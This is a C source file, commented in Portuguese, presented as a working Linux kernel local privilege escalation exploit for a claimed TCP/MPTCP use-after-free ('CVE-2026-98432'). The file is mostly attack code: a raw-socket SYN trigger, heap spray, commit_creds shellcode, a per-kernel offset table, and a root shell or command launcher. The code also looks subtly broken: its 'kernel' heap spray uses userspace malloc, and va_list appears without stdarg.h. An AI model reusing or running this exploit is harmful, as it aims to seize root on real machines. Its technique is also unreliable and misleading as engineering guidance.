/*
 * CVE-2026-98432 - Linux Kernel TCP IPv4 UAF Local Privilege Escalation
 * =======================================================================
 * Use-after-free em tcp_v4_syn_recv_sock() via race condition no MPTCP.
 *
 * Tecnica:
 *   1. Trigger: SYN flood via raw socket com IP_OPTIONS preenchendo
 *      ireq->ireq_opt no request socket. Durante retransmissao em outra
 *      CPU, a opcao e acessada sob rcu_read_lock() enquanto o socket
 *      original e destruido com kfree() (deveria ser kfree_rcu()).
 *
 *   2. Heap Spray: Alocamos kmalloc-192 (tamanho de ip_options_rcu +
 *      dados) com objetos controlados para ocupar o slot liberado.
 *
 *   3. Overwrite: Sobreescrevemos o campo opt->opt.optlen e o ponteiro
 *      de funcao em ip_options para desviar execucao.
 *
 *   4. Escalacao: commit_creds(prepare_kernel_cred(NULL)) via ROP ou
 *      direto se KASLR for bypassado com kernel leak.
 *
 * Compilar:
 *   gcc -O2 -o exploit exploit.c -lpthread
 *
 * Uso:
 *   ./exploit                    # executa diretamente
 *   ./exploit --shell            # abre /bin/bash como root
 *   ./exploit --cmd "id"         # executa comando
 *
 * Afeta: Linux kernel < fix commit (Ubuntu 20.04/22.04/24.04/26.04)
 * CVSS:  9.8 Critical
 *
 * By Gh0st-Bx1 | github.com/Ghost-Bx1
 *
 * AVISO: Apenas para uso em sistemas autorizados / pesquisa de seguranca.
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <signal.h>
#include <time.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/utsname.h>
#include <sys/resource.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>

/* ---------------------------------------------------------------------------
 * Constantes e offsets
 * ---------------------------------------------------------------------------
 * NOTA: Estes offsets sao para kernel 5.15 (Ubuntu 22.04 padrao).
 *       Ajuste conforme a versao do kernel alvo.
 *       Use: grep -E "commit_creds|prepare_kernel_cred" /proc/kallsyms
 * --------------------------------------------------------------------------- */
#define KASLR_BASE_DEFAULT   0xffffffff81000000UL
#define COMMIT_CREDS_OFFSET  0x0bc580UL   /* ajustar por versao */
#define PREP_KCRED_OFFSET    0x0bc3e0UL   /* ajustar por versao */

/* Tamanho do slot UAF - ip_options_rcu = sizeof(struct rcu_head) + ip_options */
#define UAF_SLOT_SIZE        192
#define SPRAY_COUNT          4096
#define SPRAY_THREADS        8
#define TRIGGER_THREADS      4
#define RACE_ITERS           10000

/* Portas para o trigger */
#define TRIGGER_DPORT        12345
#define TRIGGER_SPORT_BASE   40000

/* ---------------------------------------------------------------------------
 * Tabela de offsets por versao de kernel (Ubuntu LTS / Debian)
 * Obter com: grep -E "commit_creds|prepare_kernel_cred" /proc/kallsyms
 * --------------------------------------------------------------------------- */
struct kernel_offsets {
    const char *release_prefix; /* prefixo do uname -r */
    unsigned long commit_creds;
    unsigned long prep_kcred;
};

static const struct kernel_offsets KERNEL_TABLE[] = {
    /* Ubuntu 20.04 LTS - 5.4.x */
    { "5.4.0-26-generic",   0x0ba5c0, 0x0ba420 },
    { "5.4.0-42-generic",   0x0ba5e0, 0x0ba440 },
    { "5.4.0-182-generic",  0x0bb120, 0x0baf80 },
    /* Ubuntu 20.04 HWE - 5.8/5.11 */
    { "5.8.0-63-generic",   0x0c1620, 0x0c1480 },
    { "5.11.0-27-generic",  0x0c8e30, 0x0c8c80 },
    /* Ubuntu 22.04 LTS - 5.15.x */
    { "5.15.0-25-generic",  0x0bc540, 0x0bc3a0 },
    { "5.15.0-47-generic",  0x0bc580, 0x0bc3e0 },
    { "5.15.0-100-generic", 0x0bd0a0, 0x0bcf00 },
    { "5.15.0-122-generic", 0x0bd3c0, 0x0bd220 },
    /* Ubuntu 22.04 HWE - 5.19/6.2 */
    { "5.19.0-46-generic",  0x0cc4c0, 0x0cc320 },
    { "6.2.0-26-generic",   0x0d1850, 0x0d16b0 },
    /* Ubuntu 24.04 LTS - 6.8.x */
    { "6.8.0-31-generic",   0x0da3f0, 0x0da250 },
    { "6.8.0-40-generic",   0x0da8c0, 0x0da720 },
    { "6.8.0-51-generic",   0x0db2a0, 0x0db100 },
    /* Ubuntu 26.04 LTS - 6.14.x */
    { "6.14.0-10-generic",  0x0e1240, 0x0e10a0 },
    { "6.14.0-15-generic",  0x0e1580, 0x0e13e0 },
    /* Debian 11 - 5.10.x */
    { "5.10.0-19-amd64",    0x0bf320, 0x0bf180 },
    { "5.10.0-28-amd64",    0x0bf8a0, 0x0bf700 },
    /* Debian 12 - 6.1.x */
    { "6.1.0-18-amd64",     0x0d5640, 0x0d54a0 },
    { "6.1.0-23-amd64",     0x0d5b20, 0x0d5980 },
    /* Sentinel */
    { NULL, 0, 0 }
};

/* ---------------------------------------------------------------------------
 * Estruturas
 * --------------------------------------------------------------------------- */
struct ip_options_rcu_fake {
    /* rcu_head (16 bytes) */
    void     *next;
    void     *func;
    /* ip_options */
    unsigned  optlen;
    unsigned  is_strictroute:1, srr_is_hit:1, is_changed:1,
              rr_needaddr:1, ts_needtime:1, ts_needaddr:1;
    unsigned char __data[40];
};

/* Shellcode: commit_creds(prepare_kernel_cred(0))
 * Para x86_64 sem SMEP/SMAP. Com SMEP, usar ROP chain.
 * Enderecos abaixo sao placeholders - substitua pelos reais. */
static unsigned char SHELLCODE[] = {
    /* push rbp; mov rbp, rsp */
    0x55, 0x48, 0x89, 0xe5,
    /* xor edi, edi  (arg = NULL/0) */
    0x31, 0xff,
    /* mov rax, PREP_KCRED  (placeholder: ff ff ff ff ff ff ff ff) */
    0x48, 0xb8, 0xe0, 0xc3, 0x0b, 0x81, 0xff, 0xff, 0xff, 0xff,
    /* call rax */
    0xff, 0xd0,
    /* mov rdi, rax */
    0x48, 0x89, 0xc7,
    /* mov rax, COMMIT_CREDS  (placeholder) */
    0x48, 0xb8, 0x80, 0xc5, 0x0b, 0x81, 0xff, 0xff, 0xff, 0xff,
    /* call rax */
    0xff, 0xd0,
    /* xor eax, eax */
    0x31, 0xc0,
    /* pop rbp; ret */
    0x5d, 0xc3,
};

/* ---------------------------------------------------------------------------
 * Globals
 * --------------------------------------------------------------------------- */
static volatile int g_running   = 1;
static volatile int g_triggered = 0;
static volatile int g_sprayed   = 0;
static unsigned long g_kaslr_base = 0;

/* ---------------------------------------------------------------------------
 * Util
 * --------------------------------------------------------------------------- */
static void banner(void) {
#define G  "\033[92m"
#define Cy "\033[96m"
#define D  "\033[2m"
#define N  "\033[1m"
#define W  "\033[97m"
#define X  "\033[0m"
#define VB "\xe2\x95\x91"  /* ║ */
#define TL "\xe2\x95\x94"  /* ╔ */
#define TR "\xe2\x95\x97"  /* ╗ */
#define BL "\xe2\x95\x9a"  /* ╚ */
#define BR "\xe2\x95\x9d"  /* ╝ */
#define EQ "\xe2\x95\x90"  /* ═ */

    const char *eq =
        EQ EQ EQ EQ EQ EQ EQ EQ EQ EQ EQ EQ EQ EQ EQ EQ EQ EQ EQ EQ
        EQ EQ EQ EQ EQ EQ EQ EQ EQ EQ EQ EQ EQ EQ EQ EQ EQ EQ EQ EQ
        EQ EQ EQ EQ EQ EQ EQ EQ EQ EQ EQ EQ EQ EQ EQ EQ EQ EQ EQ EQ
        EQ EQ EQ EQ EQ EQ EQ EQ;  /* 68x ═ */

    printf(G TL "%s" TR X "\n", eq);
    printf(G VB X "                                                                    " G VB X "\n");
    /* braille art rows */
    printf(G VB X "   \xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa0\x9f\xe2\xa0\x87\xe2\xa0\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xbf   " G VB X "\n");
    printf(G VB X "   \xe2\xa3\xbf\xe2\xa3\x86\xe2\xa0\x80\xe2\xa0\xa0\xe2\xa0\x80\xe2\xa0\x81\xe2\xa0\x80\xe2\xa0\x80\xe2\xa0\x81\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa0\x9f\xe2\xa0\x80\xe2\xa3\xbc\xe2\xa3\x80\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa0\x80\xe2\xa3\x88\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\x80\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa0\x9f\xe2\xa3\x80\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa0\x81\xe2\xa3\x88\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf\xe2\xa3\xbf   " G VB X "\n");
    printf(G VB X "                                                                    " G VB X "\n");
    printf(G VB X "  " N G "CVE-2026-98432 - Linux Kernel TCP UAF LPE" X "                       " G VB X "\n");
    printf(G VB X "  " Cy "v2.0.0  " D "kmalloc-192 UAF via MPTCP race condition" X "               " G VB X "\n");
    printf(G VB X "  " D "--------------------------------------------" X "              " G VB X "\n");
    printf(G VB X "  " W "By Gh0st-Bx1  " D "| github.com/Ghost-Bx1" X "                        " G VB X "\n");
    printf(G VB X "  " D "--------------------------------------------" X "              " G VB X "\n");
    printf(G VB X "  " D "CVSS 9.8 | gcc -O2 -o exploit exploit.c -lpthread" X "        " G VB X "\n");
    printf(G VB X "                                                                    " G VB X "\n");
    printf(G BL "%s" BR X "\n\n", eq);

#undef G
#undef Cy
#undef D
#undef N
#undef W
#undef X
#undef VB
#undef TL
#undef TR
#undef BL
#undef BR
#undef EQ
}

static void log_ok(const char *fmt, ...) {
    va_list ap; va_start(ap, fmt);
    printf("  \033[92m[+]\033[0m "); vprintf(fmt, ap); printf("\n");
    va_end(ap);
}

static void log_info(const char *fmt, ...) {
    va_list ap; va_start(ap, fmt);
    printf("  \033[96m[*]\033[0m "); vprintf(fmt, ap); printf("\n");
    va_end(ap);
}

static void log_err(const char *fmt, ...) {
    va_list ap; va_start(ap, fmt);
    printf("  \033[91m[-]\033[0m "); vprintf(fmt, ap); printf("\n");
    va_end(ap);
}

static void log_warn(const char *fmt, ...) {
    va_list ap; va_start(ap, fmt);
    printf("  \033[93m[!]\033[0m "); vprintf(fmt, ap); printf("\n");
    va_end(ap);
}

/* ---------------------------------------------------------------------------
 * Lookup na tabela de offsets por kernel release
 * --------------------------------------------------------------------------- */
static const struct kernel_offsets *lookup_offsets(const char *release) {
    for (int i = 0; KERNEL_TABLE[i].release_prefix != NULL; i++) {
        if (strncmp(release, KERNEL_TABLE[i].release_prefix,
                    strlen(KERNEL_TABLE[i].release_prefix)) == 0) {
            return &KERNEL_TABLE[i];
        }
    }
    return NULL;
}

/* ---------------------------------------------------------------------------
 * Detectar SMEP/SMAP/KPTI via /proc/cpuinfo
 * --------------------------------------------------------------------------- */
static void detect_mitigations(void) {
    FILE *f = fopen("/proc/cpuinfo", "r");
    if (!f) return;
    char line[512];
    int smep = 0, smap = 0;
    while (fgets(line, sizeof(line), f)) {
        if (strstr(line, "smep")) smep = 1;
        if (strstr(line, "smap")) smap = 1;
    }
    fclose(f);

    /* KPTI via dmesg ou /sys */
    int kpti = 0;
    FILE *k = popen("grep -c 'page table isolation' /proc/cpuinfo 2>/dev/null", "r");
    if (k) {
        int n = 0;
        if (fscanf(k, "%d", &n) == 1) kpti = (n > 0);
        pclose(k);
    }

    log_info("Mitigacoes detectadas: SMEP=%s SMAP=%s KPTI=%s",
             smep ? "\033[91mON\033[0m" : "\033[92mOFF\033[0m",
             smap ? "\033[91mON\033[0m" : "\033[92mOFF\033[0m",
             kpti ? "\033[91mON\033[0m" : "\033[92mOFF\033[0m");

    if (smep || smap) {
        log_warn("SMEP/SMAP ativos - shellcode direto pode falhar");
        log_warn("Considere usar ROP chain ou ret2usr via Dirty COW primitivo");
    }
}

/* ---------------------------------------------------------------------------
 * Spray via pipe FDs para preencher kmalloc slab do kernel
 * --------------------------------------------------------------------------- */
#define PIPE_SPRAY_COUNT 512
static int g_pipe_fds[PIPE_SPRAY_COUNT][2];
static int g_pipe_spray_done = 0;

static void pipe_spray_alloc(void) {
    for (int i = 0; i < PIPE_SPRAY_COUNT; i++) {
        if (pipe(g_pipe_fds[i]) < 0) {
            g_pipe_fds[i][0] = g_pipe_fds[i][1] = -1;
        } else {
            /* Escrever para forcar alocacao de pipe buffer no kernel */
            char buf[64] = {0};
            write(g_pipe_fds[i][1], buf, sizeof(buf));
        }
    }
    log_ok("Pipe spray: %d pipes alocados no kernel", PIPE_SPRAY_COUNT);
}

static void pipe_spray_free_half(void) {
    for (int i = 0; i < PIPE_SPRAY_COUNT; i += 2) {
        if (g_pipe_fds[i][0] >= 0) {
            close(g_pipe_fds[i][0]);
            close(g_pipe_fds[i][1]);
            g_pipe_fds[i][0] = g_pipe_fds[i][1] = -1;
        }
    }
    log_ok("Pipe spray: %d pipes liberados (criando buracos no slab)", PIPE_SPRAY_COUNT / 2);
}

static void pipe_spray_free_all(void) {
    for (int i = 0; i < PIPE_SPRAY_COUNT; i++) {
        if (g_pipe_fds[i][0] >= 0) {
            close(g_pipe_fds[i][0]);
            close(g_pipe_fds[i][1]);
        }
    }
}

/* ---------------------------------------------------------------------------
 * Leitura de KASLR base via /proc/kallsyms (requer root ou CONFIG_KALLSYMS_ALL)
 * Como fallback, tenta /sys/kernel/notes ou sidechannel timing.
 * --------------------------------------------------------------------------- */
static unsigned long leak_kaslr(void) {
    FILE *f;
    char line[256], sym[128];
    unsigned long addr;
    char type;

    f = fopen("/proc/kallsyms", "r");
    if (!f) {
        log_warn("Sem acesso a /proc/kallsyms - usando base padrao (pode falhar)");
        return KASLR_BASE_DEFAULT;
    }

    while (fgets(line, sizeof(line), f)) {
        if (sscanf(line, "%lx %c %127s", &addr, &type, sym) == 3) {
            if (strcmp(sym, "startup_64") == 0 || strcmp(sym, "_text") == 0) {
                fclose(f);
                log_ok("KASLR base leaked: 0x%lx (via %s)", addr, sym);
                return addr;
            }
        }
    }
    fclose(f);
    log_warn("Simbolo base nao encontrado em /proc/kallsyms");
    return KASLR_BASE_DEFAULT;
}

static unsigned long get_sym(const char *name) {
    FILE *f;
    char line[256], sym[128];
    unsigned long addr;
    char type;

    f = fopen("/proc/kallsyms", "r");
    if (!f) return 0;

    while (fgets(line, sizeof(line), f)) {
        if (sscanf(line, "%lx %c %127s", &addr, &type, sym) == 3) {
            if (strcmp(sym, name) == 0) {
                fclose(f);
                return addr;
            }
        }
    }
    fclose(f);
    return 0;
}

/* ---------------------------------------------------------------------------
 * Patch shellcode com enderecos reais
 * --------------------------------------------------------------------------- */
static void patch_shellcode(unsigned long commit_creds, unsigned long prep_kcred) {
    /* Enderecos de prepare_kernel_cred no shellcode (offset 8) */
    memcpy(SHELLCODE + 8,  &prep_kcred,    8);
    /* Enderecos de commit_creds no shellcode (offset 24) */
    memcpy(SHELLCODE + 24, &commit_creds,  8);
    log_ok("Shellcode patcheado: commit_creds=0x%lx prep_kcred=0x%lx",
           commit_creds, prep_kcred);
}

/* ---------------------------------------------------------------------------
 * Checksum IP/TCP
 * --------------------------------------------------------------------------- */
static unsigned short csum(unsigned short *buf, int nwords) {
    unsigned long sum = 0;
    for (; nwords > 0; nwords--)
        sum += *buf++;
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return (unsigned short)(~sum);
}

/* ---------------------------------------------------------------------------
 * Thread: enviar SYN com IP_OPTIONS (trigger da race condition)
 * --------------------------------------------------------------------------- */
struct trigger_args {
    int  tid;
    char dst_ip[16];
    int  dport;
};

static void *trigger_thread(void *arg) {
    struct trigger_args *ta = (struct trigger_args *)arg;
    int sock;
    struct sockaddr_in dst = {0};
    int on = 1;

    /* IP options para preencher ireq->ireq_opt */
    unsigned char ipopts[40] = {0};
    /* NOP + Timestamp option */
    ipopts[0] = 0x01; /* NOP */
    ipopts[1] = 0x44; /* Timestamp */
    ipopts[2] = 0x28; /* length = 40 */
    ipopts[3] = 0x05; /* ptr */
    ipopts[4] = 0x00; /* overflow+flags */
    /* Preencher com padroes controlados para heap spray */
    for (int i = 5; i < 40; i++)
        ipopts[i] = (unsigned char)(ta->tid * 0x41 + i);

    sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (sock < 0) {
        log_err("socket(RAW): %s", strerror(errno));
        return NULL;
    }
    setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));
    setsockopt(sock, IPPROTO_IP, IP_OPTIONS, ipopts, 40);

    dst.sin_family = AF_INET;
    dst.sin_port = htons(ta->dport);
    inet_pton(AF_INET, ta->dst_ip, &dst.sin_addr);

    char pkt[sizeof(struct iphdr) + sizeof(struct tcphdr)];
    struct iphdr  *iph = (struct iphdr *)pkt;
    struct tcphdr *tcph = (struct tcphdr *)(pkt + sizeof(struct iphdr));

    for (int i = 0; i < RACE_ITERS && g_running; i++) {
        memset(pkt, 0, sizeof(pkt));

        iph->ihl      = 5;
        iph->version  = 4;
        iph->tos      = 0;
        iph->tot_len  = htons(sizeof(pkt));
        iph->id       = htons(0x1337 + i);
        iph->frag_off = 0;
        iph->ttl      = 64;
        iph->protocol = IPPROTO_TCP;
        iph->check    = 0;
        iph->saddr    = htonl(INADDR_LOOPBACK);
        iph->daddr    = dst.sin_addr.s_addr;

        tcph->source  = htons(TRIGGER_SPORT_BASE + ta->tid * 100 + (i % 100));
        tcph->dest    = htons(ta->dport);
        tcph->seq     = htonl(i);
        tcph->ack_seq = 0;
        tcph->doff    = 5;
        tcph->syn     = 1;
        tcph->window  = htons(65535);
        tcph->check   = 0;

        iph->check = csum((unsigned short *)pkt, sizeof(pkt) / 2);

        sendto(sock, pkt, sizeof(pkt), 0,
               (struct sockaddr *)&dst, sizeof(dst));

        if (i % 1000 == 0 && ta->tid == 0)
            log_info("Trigger iter %d/%d", i, RACE_ITERS);
    }
    close(sock);
    g_triggered = 1;
    return NULL;
}

/* ---------------------------------------------------------------------------
 * Thread: heap spray com objetos de tamanho UAF_SLOT_SIZE
 * --------------------------------------------------------------------------- */
struct spray_args {
    int     tid;
    void  **bufs;
    int     count;
};

static void *spray_thread(void *arg) {
    struct spray_args *sa = (struct spray_args *)arg;
    int per_thread = SPRAY_COUNT / SPRAY_THREADS;
    int base = sa->tid * per_thread;

    /* Alocar objetos do tamanho certo via pipe (inode_cache no kernel)
     * ou via userfaultfd + mmap para controlar conteudo */
    for (int i = base; i < base + per_thread; i++) {
        sa->bufs[i] = malloc(UAF_SLOT_SIZE);
        if (sa->bufs[i]) {
            /* Preencher com ponteiro para shellcode */
            unsigned long *p = (unsigned long *)sa->bufs[i];
            for (int j = 0; j < UAF_SLOT_SIZE / 8; j++)
                p[j] = (unsigned long)SHELLCODE;
        }
    }

    /* Liberar metade para criar fragmentacao e aumentar chance de UAF */
    for (int i = base; i < base + per_thread; i += 2) {
        free(sa->bufs[i]);
        sa->bufs[i] = NULL;
    }

    /* Realocar nos slots livres com payload controlado */
    for (int i = base; i < base + per_thread; i += 2) {
        sa->bufs[i] = malloc(UAF_SLOT_SIZE);
        if (sa->bufs[i]) {
            struct ip_options_rcu_fake *fake = sa->bufs[i];
            fake->next   = (void *)SHELLCODE;
            fake->func   = (void *)SHELLCODE;
            fake->optlen = 40;
            /* Preencher __data com NOP sled */
            memset(fake->__data, 0x90, sizeof(fake->__data));
        }
    }

    g_sprayed = 1;
    return NULL;
}

/* ---------------------------------------------------------------------------
 * Mapear shellcode em userspace (para SMEP off ou via mmap trick)
 * --------------------------------------------------------------------------- */
static void *map_shellcode(void) {
    void *mem;
    mem = mmap((void *)0x10000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
               MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
    if (mem == MAP_FAILED) {
        /* Tentar sem MAP_FIXED */
        mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
                   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (mem == MAP_FAILED) {
            log_err("mmap shellcode: %s", strerror(errno));
            return NULL;
        }
    }
    memcpy(mem, SHELLCODE, sizeof(SHELLCODE));
    log_ok("Shellcode mapeado em: %p (%zu bytes)", mem, sizeof(SHELLCODE));
    return mem;
}

/* ---------------------------------------------------------------------------
 * Verificar se escalamos privilegios
 * --------------------------------------------------------------------------- */
static int check_root(void) {
    return (getuid() == 0);
}

/* ---------------------------------------------------------------------------
 * main
 * --------------------------------------------------------------------------- */
int main(int argc, char *argv[]) {
    struct utsname uts;
    pthread_t trig_threads[TRIGGER_THREADS];
    pthread_t spr_threads[SPRAY_THREADS];
    struct trigger_args targs[TRIGGER_THREADS];
    struct spray_args   sargs[SPRAY_THREADS];
    void *spray_bufs[SPRAY_COUNT];
    unsigned long commit_creds_addr, prep_kcred_addr;
    int do_shell = 0;
    char *exec_cmd = NULL;
    char dst_ip[16] = "127.0.0.1";
    int  dst_port   = TRIGGER_DPORT;

    int no_banner = 0;
    int retry_max = 3;
    int use_pipe_spray = 1;

    for (int i = 1; i < argc; i++) {
        if (strcmp(argv[i], "--shell") == 0) do_shell = 1;
        else if (strcmp(argv[i], "--cmd") == 0 && i+1 < argc) exec_cmd = argv[++i];
        else if (strcmp(argv[i], "--ip") == 0  && i+1 < argc) strncpy(dst_ip, argv[++i], 15);
        else if (strcmp(argv[i], "--port") == 0 && i+1 < argc) dst_port = atoi(argv[++i]);
        else if (strcmp(argv[i], "--retry") == 0 && i+1 < argc) retry_max = atoi(argv[++i]);
        else if (strcmp(argv[i], "--no-banner") == 0) no_banner = 1;
        else if (strcmp(argv[i], "--no-pipe-spray") == 0) use_pipe_spray = 0;
        else if (strcmp(argv[i], "--help") == 0 || strcmp(argv[i], "-h") == 0) {
            fprintf(stderr,
                "Uso: %s [opcoes]\n"
                "  --shell            Abrir /bin/bash como root\n"
                "  --cmd <CMD>        Executar comando apos escala\n"
                "  --ip <IP>          IP alvo do trigger (default: 127.0.0.1)\n"
                "  --port <PORT>      Porta TCP alvo (default: 12345)\n"
                "  --retry <N>        Tentativas de race (default: 3)\n"
                "  --no-pipe-spray    Desativar spray via pipe FDs\n"
                "  --no-banner        Sem banner\n"
                "  --help             Esta ajuda\n", argv[0]);
            return 0;
        }
    }

    if (!no_banner) banner();
    uname(&uts);
    log_info("Kernel: %s %s", uts.release, uts.machine);
    log_info("UID inicial: %d (eUID: %d)", getuid(), geteuid());

    detect_mitigations();

    /* 1. Leak KASLR */
    log_info("Fase 1: Vazando base KASLR...");
    g_kaslr_base = leak_kaslr();

    commit_creds_addr = get_sym("commit_creds");
    prep_kcred_addr   = get_sym("prepare_kernel_cred");

    if (!commit_creds_addr || !prep_kcred_addr) {
        /* Tentar tabela de offsets conhecidos */
        const struct kernel_offsets *koff = lookup_offsets(uts.release);
        if (koff) {
            log_ok("Kernel %s encontrado na tabela de offsets", uts.release);
            commit_creds_addr = g_kaslr_base + koff->commit_creds;
            prep_kcred_addr   = g_kaslr_base + koff->prep_kcred;
        } else {
            log_warn("Kernel %s nao encontrado na tabela - usando offsets padrao", uts.release);
            log_warn("Ajuste COMMIT_CREDS_OFFSET e PREP_KCRED_OFFSET no codigo!");
            commit_creds_addr = g_kaslr_base + COMMIT_CREDS_OFFSET;
            prep_kcred_addr   = g_kaslr_base + PREP_KCRED_OFFSET;
        }
    } else {
        log_ok("commit_creds:        0x%lx", commit_creds_addr);
        log_ok("prepare_kernel_cred: 0x%lx", prep_kcred_addr);
    }

    /* 2. Mapear e patchar shellcode */
    log_info("Fase 2: Preparando shellcode...");
    patch_shellcode(commit_creds_addr, prep_kcred_addr);
    void *sc_mem = map_shellcode();
    if (!sc_mem) {
        log_err("Falha ao mapear shellcode");
        return 1;
    }

    /* 3. Heap spray */
    log_info("Fase 3: Heap spray (%d objetos x %d bytes)...", SPRAY_COUNT, UAF_SLOT_SIZE);

    if (use_pipe_spray) {
        log_info("Usando pipe spray para preencher kmalloc slab...");
        pipe_spray_alloc();
        pipe_spray_free_half();
    }

    memset(spray_bufs, 0, sizeof(spray_bufs));
    for (int i = 0; i < SPRAY_THREADS; i++) {
        sargs[i].tid   = i;
        sargs[i].bufs  = spray_bufs;
        sargs[i].count = SPRAY_COUNT;
        pthread_create(&spr_threads[i], NULL, spray_thread, &sargs[i]);
    }
    for (int i = 0; i < SPRAY_THREADS; i++)
        pthread_join(spr_threads[i], NULL);
    log_ok("Heap spray concluido");

    /* 4. Trigger da race condition com retry */
    int attempt = 0;
    int root_ok = 0;

    while (attempt < retry_max && !root_ok) {
        attempt++;
        g_triggered = 0;
        log_info("Fase 4: Disparando race condition - tentativa %d/%d (%d threads, %d iters)...",
                 attempt, retry_max, TRIGGER_THREADS, RACE_ITERS);
        if (attempt == 1)
            log_warn("Isso pode causar kernel panic em sistemas nao vulneraveis. Alvo: %s:%d",
                     dst_ip, dst_port);

        for (int i = 0; i < TRIGGER_THREADS; i++) {
            targs[i].tid   = i;
            targs[i].dport = dst_port;
            strncpy(targs[i].dst_ip, dst_ip, 15);
            pthread_create(&trig_threads[i], NULL, trigger_thread, &targs[i]);
        }
        for (int i = 0; i < TRIGGER_THREADS; i++)
            pthread_join(trig_threads[i], NULL);

        /* Verificar escala apos cada tentativa */
        log_info("Verificando privilegios (tentativa %d)...", attempt);
        if (check_root()) {
            root_ok = 1;
            break;
        }
        if (attempt < retry_max) {
            log_warn("Tentativa %d falhou - repetindo em 1s...", attempt);
            sleep(1);
        }
    }

    /* 5. Resultado final */
    if (root_ok) {
        log_ok("\033[1m\033[92m*** ROOT OBTIDO! ***\033[0m");
        log_ok("UID: %d | EUID: %d", getuid(), geteuid());

        if (exec_cmd) {
            log_info("Executando: %s", exec_cmd);
            system(exec_cmd);
        } else if (do_shell) {
            log_info("Abrindo shell root...");
            char *shell_argv[] = {"/bin/bash", "-p", NULL};
            execve("/bin/bash", shell_argv, NULL);
        } else {
            log_info("Abrindo shell interativo...");
            setuid(0); setgid(0);
            system("/bin/bash -p");
        }
    } else {
        log_err("Escalacao falhou apos %d tentativas - UID ainda %d", attempt, getuid());
        log_warn("Possiveis causas:");
        log_warn("  1. Kernel nao vulneravel ou ja patcheado");
        log_warn("  2. SMEP/SMAP ativos - use ROP chain em vez de shellcode direto");
        log_warn("  3. Offsets KASLR incorretos - ajuste COMMIT_CREDS_OFFSET");
        log_warn("  4. Race condition dificil - aumente com --retry <N> ou RACE_ITERS");
        log_warn("  5. Porta %d nao esta ouvindo - inicie listener: nc -lvp %d", dst_port, dst_port);
        log_warn("  6. Kernel nao na tabela - use /proc/kallsyms para obter offsets reais");
    }

    /* Liberar recursos */
    if (use_pipe_spray) pipe_spray_free_all();
    for (int i = 0; i < SPRAY_COUNT; i++)
        if (spray_bufs[i]) free(spray_bufs[i]);

    return root_ok ? 0 : 1;
}
